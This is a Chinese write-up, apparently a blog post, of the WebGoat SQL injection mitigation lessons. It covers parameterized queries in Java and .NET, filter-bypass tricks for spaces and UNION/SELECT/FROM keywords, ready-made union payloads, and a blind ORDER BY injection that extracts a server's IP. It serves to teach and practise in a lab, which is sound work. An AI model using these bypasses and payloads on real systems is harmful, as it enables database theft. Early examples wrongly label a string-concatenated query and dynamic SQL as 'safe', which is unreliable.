讲了预防sql注入的一些方法。
不安全的查询语句:
SELECT * FROM products;
安全的查询语句:
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";
安全的查询语句:
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city
EXEC ListCustomers ‘USA’
CREATE PROEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE
lastname = + @LastName + '
exec sp_executesql @sql
讲了java代码中的sql查询的一个简要代码。
public static bool isUsernameValid(string username) {
RegEx r = new Regex("^[A-Za-z0-9]{16}$");
return r.isMatch(username);
}
// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {
pUserName = request.getParameter("UserName");
if ( isUsernameValid (pUsername) ) {
ps = conn.prepareStatement("SELECT * FROM user_table
WHERE username = ? ");
ps.setString(1, pUsername);
rs = ps.execute();
if ( rs.next() ) {
// do the work of making the user record active in some way
}
} else { // handle invalid input }
}
catch (...) { // handle all exceptions ... }
讲了java代码中的sql查询的一个例子。
public static String loadAccount() {
// Parser returns only valid string data
String accountID = getParser().getStringParameter(ACCT_ID, "");
String data = null;
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
try (Connection connection = null;
PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, accountID);
ResultSet results = statement.executeQuery();
if (results != null && results.first()) {
results.last(); // Only one record should be returned for this query
if (results.getRow() <= 2) {
data = processAccount(results);
} else {
// Handle the error - Database integrity issue
}
} else {
// Handle the error - no records found }
}
} catch (SQLException sqle) {
// Log and handle the SQL Exception }
}
return data;
}
本关要求我们编写一个安全的java的数据库操作代码。在java中,对数据库操作前,需要先连接数据库,然后使用使用预编译prepareStatement
来处理sql语句,sql语句里面的参数值要使用?
来进行占位符,然后就是对?
的值进行赋值set类型
。
要求我们编写一个完整的JDBC连接到数据库并从中请求数据代码。
要求:
String name = "BigFly";
Connection conn = null;
PreparedStatement ps = null;
try {
conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);
ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
ps.setString(1, name);
ResultSet results = ps.executeQuery();
System.out.println(results.next());
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
这里需要注意的是,PreparedStatement
和Connection
在进行关闭的时候,该关无法在try以外进行关闭,我经过尝试在finally
里面进行关闭的时候直接报错了,这是本关的问题,正常情况下都是在finally
里面进行关闭的。
本关说了.NET
语言中的数据库查询操作。
public static bool isUsernameValid(string username) {
RegEx r = new Regex("^[A-Za-z0-9]{16}$");
Return r.isMatch(username);
}
// SqlConnection conn is set and opened elsewhere for brevity.
try {
string selectString = "SELECT * FROM user_table WHERE username = @userID";
SqlCommand cmd = new SqlCommand( selectString, conn );
if ( isUsernameValid( uid ) ) {
cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
SqlDataReader myReader = cmd.ExecuteReader();
if ( myReader ) {
// make the user record active in some way.
myReader.Close();
}
} else { // handle invalid input }
}
catch (Exception e) { // Handle all exceptions... }
讲了数据库操作在遇到用户输入在没有检测时,会导致的一些漏洞。
首先,抓包然后就根据抓包得到的URI来进入到对于的java代码中。发现代码对用户输入的空格进行了检测。
对于空格的绕过我们可以使用下面的代码来进行绕过。
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
然后进入的injectableQuery
函数中,发现检测了用户输入的UNION
,并且没有使用预编译的方式处理sql语句,因此存在sql注入漏洞。
sql执行的语句是:
SELECT * FROM user_data WHERE last_name = '用户输入'
对于UNION
的绕过我们可以使用下面的代码来进行绕过。
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 ; select user from users where userid = 1
十六进制字符绕过
union——>unio\x6e
大小写绕过
UnION
双写绕过
uniunionon
urlencode,ascii(char),hex,unicode编码绕过
关键字内联绕所有
/*!union*/
根据对源码的分析,我们就能够得到一些绕过的思路,然后结合我提供的一些绕过的代码,在burpsuite进行爆破,得到其中的一个绕过是:
原型:1' union select * from user_system_data--+
绕过:1'/**//*!union*//**/select/**/*/**/from/**/user_system_data--+
在上一关的基础上多了对select
、from
的大小写过滤,但是这里只是过滤了一次,因此我们可以使用双写绕过该过滤,其余都和上一关一样,就不贴图了。
根据对源码进行分析,我们只需要添加对select
、from
的绕过即可,我们这里采用双写绕过。
原型:1' union select * from user_system_data--+
绕过:1'/**//*!union*//**/selselectect/**/*/**/frfromom/**/user_system_data--+
讲了preparedstatement
并不能防止所有的sql注入攻击。
比如使用order by
语句的时候,由于预编译是会自动加引号的,因此order by
后不能参数化(后面一般接的是字段名)。看以下的例子就能很好理解了。
# 正确的order by
select * from userTable order by uid
# 经过preparedstatement处理的order by语句,可以发现order by接的是参数,而不是字段,因此该语句是错误的
select * from userTable order by 'uid'
同理,任何不能加引号的位置都不能参数化,因此都有可能存在sql注入漏洞。因此可以专门找有排序功能的页面来进行漏洞的挖掘。
# 一个注入的例子:
"select * from users order by " + sortColumName + ";"
# 注入的语句:
select * from users order by (
case
when (true)
then lastname
else firstname
end
)
# 该语句在when条件为正确时,就会根据lastname来进行排序;否则就根据firstname来进行排序。因此我们可以据此来判断数据库中那些资源是正确的。
随便输入一条数据来进行抓包,得到URISqlInjectionMitigations/attack12a
查看源码可以发现,使用预编译来进行处理,并且没有order by
,无懈可击。
点击列来进行排序抓包,发现URISqlInjectionMitigations/servers
,查看源码可以发现使用了order by
,并且表是servers
,因此很可能存在sql注入点。
@RestController
@RequestMapping("SqlInjectionMitigations/servers")
@Slf4j
public class Servers {
private final LessonDataSource dataSource;
@AllArgsConstructor
@Getter
private class Server {
private String id;
private String hostname;
private String ip;
private String mac;
private String status;
private String description;
}
public Servers(LessonDataSource dataSource) {
this.dataSource = dataSource;
}
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public List<Server> sort(@RequestParam String column) throws Exception {
List<Server> servers = new ArrayList<>();
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
ResultSet rs = preparedStatement.executeQuery();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
}
return servers;
}
}
题目要求我们得到webgoat-prd
的ip地址xxx.130.219.202
,由于后九位的ip地址知道,所以只需要知道前三为ip地址xxx。
随便点击一列来进行排序,然后抓包,修改数据包为:
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')+then+hostname+else+ip+end)--+
为了美观,这里进行一些处理。
可以很容易发现,当条件符合的时候,是根据hostname来进行排序的;而不符合的时候是根据ip来进行排序的。
(
case
when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')
then hostname
else
ip
end
)--+
发送以下正确数据包
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')+then+hostname+else+ip+end)--+
记录下正确情况下的id排序:3->1->4->2
发送以下错误数据包
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='2')+then+hostname+else+ip+end)--+
记录下正确情况下的id排序:2->3->1->4
我们可以根据id排序是否为3->1->4->2
来进行爆破查询webgoat-prd
的前三位ip地址,其中的数据包是:
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='1')+then+hostname+else+ip+end)--+
这里得到第一位ip地址是1
,同理可以爆破得到第二位和第三位ip地址,为了篇幅小,这里就忽略第二位和第三位的爆破过程了。前三位是104
。
讲到了最低权限:
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。